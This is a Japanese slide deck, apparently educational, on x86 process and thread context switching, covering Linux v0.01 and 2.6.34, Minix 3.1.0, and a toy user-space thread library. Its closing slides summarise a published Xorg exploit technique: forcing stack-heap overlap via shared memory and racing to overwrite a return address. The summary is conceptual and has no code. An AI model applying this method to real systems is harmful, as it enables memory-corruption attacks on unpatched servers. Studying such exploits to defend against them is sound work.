  • 39. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" 最後に FPU レジスタを使ったプロ 174 "ljmp %0nt" セスと切り替え後のプロセスを比 175 "cmpl %%ecx,%2nt" 較して同じだったら、 clts 命令を 176 "jne 1fnt" 実行い CR0 レジスタの TS フラグ 177 "cltsn" をリセットする 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 40. clts 命令と TS フラグ • CR0 レジスタの TS フラグをクリアする命令 • TS は Task Switch の略 • TS フラグはハードウェアコンテキストスイッチ 発生時に CPU によりセットされる • このフラグが立っているときに、浮動小数点命 令を使用すると例外( Device not available) が発 生する • この仕組みを利用して、 FPU レジスタの退避を 遅延させることができる
  • 41. Agenda Todo Doing Done Minux Linux Linux Stack v3.1.0 v2.6.34 v0.01 Stack の スレッド 命令 Stack の まとめ Context Switch
  • 43. Linux 2.6.34 の Context Switch • switch_to マクロ – arch/x86/include/asm/system.h • __switch_to() – arch/x86/kernel/process_32.c
  • 44. switch_to - 概要 arch/x86/include/asm/system.h 44/* 45 * Saving eflags is important. It switches not only IOPL between tasks, 46 * it also protects other tasks from NT leaking through sysenter etc. 47 */ 48#define switch_to(prev, next, last) このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、 次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to() の呼出をします。 __switch_to() から戻った時点で、プロセスが 切り替わっています。
  • 45. switch_to - 実行部分 57 unsigned long ebx, ecx, edx, esi, edi; 58 59 asm volatile("pushflnt" /* save flags */ 60 "pushl %%ebpnt" /* save EBP */ 61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 62 "movl %[next_sp],%%espnt" /* restore ESP */ 63 "movl $1f,%[prev_ip]nt" /* save EIP */ 64 "pushl %[next_ip]nt" /* restore EIP */ 65 __switch_canary 66 "jmp __switch_ton" /* regparm call */ 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */
  • 46. __switch_to() の主な処理 • もし Prev プロセスが FPU を使っていた場合 は、 FPU レジスタを退避する • clts 命令の実行などもある • カーネル用のスタックを設定 • TSS の sp0 • Thread Local Storage へアクセス出きるよう にセグメントを設定  • I/O ポートへのアクセス権の設定
  • 47. プロセス切替の完了 67 "1:t" 68 "popl %%ebpnt" /* restore EBP */ 69 "popfln" /* restore flags */ __switch_to() から戻る場所は、 67 行目にセット されているので、 ebp と、 eflags をリストアす ることで switch_to() の処理は終了し、 Next プロ セスの実行が始まる。
  • 48. プロセス切替時のスタックの様子 jmp 命令で __switch_to() を呼 Prev プロセスの び、 __switch_to() から return するとき スタック にきに ret 命令が Next プロセスのスタ ックから %next_ip を読込み、指定され ebp esp た場所に戻る pushl %%ebp eflags pushfl XXX Next プロセスの  XXX スタック movl %[next_sp],%%esp esp Ret Address pushl % XXX [next_ip] XXX
  • 49. Agenda Todo Doing Done Minux Linux スレッド Stack v3.1.0 v0.01 Stack の Linux 命令 v2.6.34 Stack の まとめ Context Switch
  • 51. Minix3.1.0 の Context Switch ● kernel/mpx386.s に実装がある ● _restart() がコンテキストスイッチを実行 ● 通常は c の関数からは呼ばれない ● 同ファイルの割り込みハンドラから実行 例外は kernel/main.c の main() で、終了時に呼 ● び出される ● main() の最後に _restart() を呼ぶ ● スケジューラにセットされたサーバプロセス の起動処理が走りだす
  • 52. _restart - 前半 _restart: cmp (_next_ptr), 0 _next_ptr は次のプロセス jz 0f で、次のプロセスが無け mov eax, (_next_ptr) れば、今のプロセスを継 mov (_proc_ptr), eax 続する mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 53. _restart - 前半 _restart: _proc_ptr に _next_ptr をセ cmp (_next_ptr), 0 ットして、 _next_ptr を jz 0f NULL にする mov eax, (_next_ptr) mov (_proc_ptr), eax LDT をセット mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 54. _restart - LDT の設定 先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt にアクセスするために使用しています。このマクロを使用すること で、 lldt 命令の引数を正しくセットできます。 マクロは kernel/sconst.h にて定義。 struct proc { struct stackframe_s p_reg; /* process' registers saved in stack frame */ #if (CHIP == INTEL) reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */ struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */ #endif この p_ldt にアクセスする
  • 55. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov eax, (_next_ptr) mov (_proc_ptr), eax TSS の sp0 をセット mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax
  • 56. Minix の TSS 構造体 kernel/protect.h struct tss_s { reg_t backlink; reg_t sp0; reg_t ss0; mov (_tss+TSS3_S_SP0), eax reg_t sp1; ↑ の mov 命令で sp0 をセットするわけですが、その仕組み は単純で、 TSS を表す構造体 _tss の先頭からオフセット snip TSS3_S_SP0 バイト目にアクセスするだけです。 386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ }; イト目は sp0 となり、目的の位置にアクセスできます。 #define TSS3_S_SP0 4
  • 57. _restart - 後半 restart1: _restart() 内では使用しないラベル decb (_k_reenter) カーネルのリエントラント用 o16 pop gs のカウンタをデクリメント o16 pop fs o16 pop es o16 pop ds スタックに積まれているリ popad ターンアドレスを無視 add esp, 4 iretd iretd で抜けて処理が完了
  • 58. Agenda Todo Doing Done Linux スレッド Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context Switch
  • 59. スレッド  スタックの切り替えでスレッドを切り替え ることができます  実験は x86_64 で行ってます
  • 60. スレッド構造体 typedef struct _Thread { struct _Thread *next; int thread_id; unsigned long context[CONTEXT_SIZE]; char *stack_top; /* NULL if this is main() thread */ int status; } Thread;
  • 61. メインスレッド void ThreadMain(int argc, char **argv) { int t1, t2; t1 = ThreadCreate(f, 1); printf("create a new thread (i=%d) [id=%d]n", 1, t1); t2 = ThreadCreate(f, 2); printf("create a new thread (i=%d) [id=%d]n", 2, t2); ThreadYield(); printf("main thread finished.n"); }
  • 62. スレッド生成 - 前半 int ThreadCreate(ThreadProc proc, unsigned long arg) { Thread *child; unsigned long addr = (unsigned long) ThreadStart; unsigned long stack_start = 0; child = AllocateThread(); child->stack_top = malloc(STACK_ALLOC_SIZE); memset(child->stack_top, 0, STACK_ALLOC_SIZE); stack_start = (unsigned long) child->stack_top + STACK_SIZE; memcpy((char *) stack_start, &addr, sizeof(addr));
  • 63. スレッド生成 - 後半 child->context[0] = stack_start; child->context[1] = stack_start; child->context[2] = (unsigned long) proc; child->context[3] = arg; child->status = RUNNING; LinkThread(child); return child->thread_id; }
  • 64. スレッドのエントリポイント static void ThreadStart(unsigned long proc, unsigned long arg) { ThreadProc ptr = (ThreadProc) proc; ptr(arg); ThreadExit(); }
  • 65. ThreadYeild- 前半 void ThreadYield() { Thread *t; int found = 0; for (t = threadList->next; t; t = t->next) { if (t && t->status == RUNNING && t != currentThread) { found = 1; break; } }
  • 66. ThreadYeild- 後半 if (found) { Thread *cur = currentThread; currentThread = t; printf("switch id %d to %dn", cur->thread_id, t->thread_id); _ContextSwitch(cur->context, t->context); } else if (currentThread->thread_id == MAIN_THREAD_ID) { // main thread's state is FINISH. printf("There is only main threadn"); } else { printf("There is no active threadn"); } }
  • 67. _ContextSwitch //void _ContextSwitch(void* old_context, void* new_context); .globl ENTRY(_ContextSwitch) ENTRY(_ContextSwitch): movq %rdi, %rax // old movq %rsp, 0(%rax) movq %rbp, 8(%rax) movq %rdi, 16(%rax) movq %rsi, 24(%rax) movq %rsi, %rax // new movq 0(%rax), %rsp movq 8(%rax), %rbp movq 16(%rax), %rdi // arg1 movq 24(%rax), %rsi // arg2 ret
  • 68. スレッドの実行内容 void f(int i) { int n = 0; for (n = 0; n < 10; n++) { printf("thread(%d): %d.n", i, n); ThreadYield(); } printf("thread (i=%d) finished.n", i); }
  • 69. 実行結果 [masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1] create a new thread (i=2) [id=2] switch id 0 to 2 thread(2): 0. switch id 2 to 1 thread(1): 0. switch id 1 to 2 ~ switch id 1 to 2 thread (i=2) finished. switch id -1 to 1 thread (i=1) finished. switch id -1 to 0 main thread finished.
  • 70. まとめ • プロセスの切り替えは、スタックとスタック 操作のメカニズムが主要な鍵になってます • スタック周りの説明はバッファオーバーフロ ーなどのテクニックを紹介している本が結構 詳しいです • 大概は x86 で説明しているのと、 exploit コ ードの説明ではスタックの知識が必要なので …
  • 71. 追加スライド • Linux カーネルの脆弱性のレポート – Exploiting large memory management vulnerabilities in Xorg server running on Linux • スタック & ヒープ領域に絡んだ話です – デフォルトインストールの Fedora 13 で 再現 • F13 は selinux 有効、 exec-shiled パッ チ有りがデフォルトです
  • 72. 概要 スタックとヒープを大量に使った場合の問題 ● ● スタックとヒープが重なったら危険! Xorg の MIT-SHM という拡張機能を使ってい ● ると exploit の効果が抜群 ● この拡張を無効にすれば exploit の信頼性が落 ちるけど、 Xorg の機能性も落ちる
  • 73. シナリオ X サーバに大量のメモリを確保させる ● ● x86_32 では実行する必要なし ● 共有メモリ S を限界まで確保させる ● 関数 F の再帰呼び出しを繰り返し実行させる ● S の領域に 0 以外のデータが入っている場所 を探す ● スタックフレームとヒープが重なった!
  • 74. シナリオ ● プロセス W を立ち上げて、 S 内のデータを payload で書き換える ● F が関数から戻るときはスタックからリター ンアドレスを取得する ● この時に payload を読み込んだらゲームオー バー ● W による書き換えと、 F がリターンアドレス を取得するタイミングでレースがある ● でも、ほとんどの SMP システムでは上手く できる
  • 76. リファレンス • Insecure Programming by example – http://community.corest.com/~gera/InsecureProgramming/ • OSDev.org – http://wiki.osdev.org/Main_Page • Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303 • xorg-large-memory-attack.pdf – http://www.invisiblethingslab.com/resources/misc- 2010/xorg-large-memory-attacks.pdf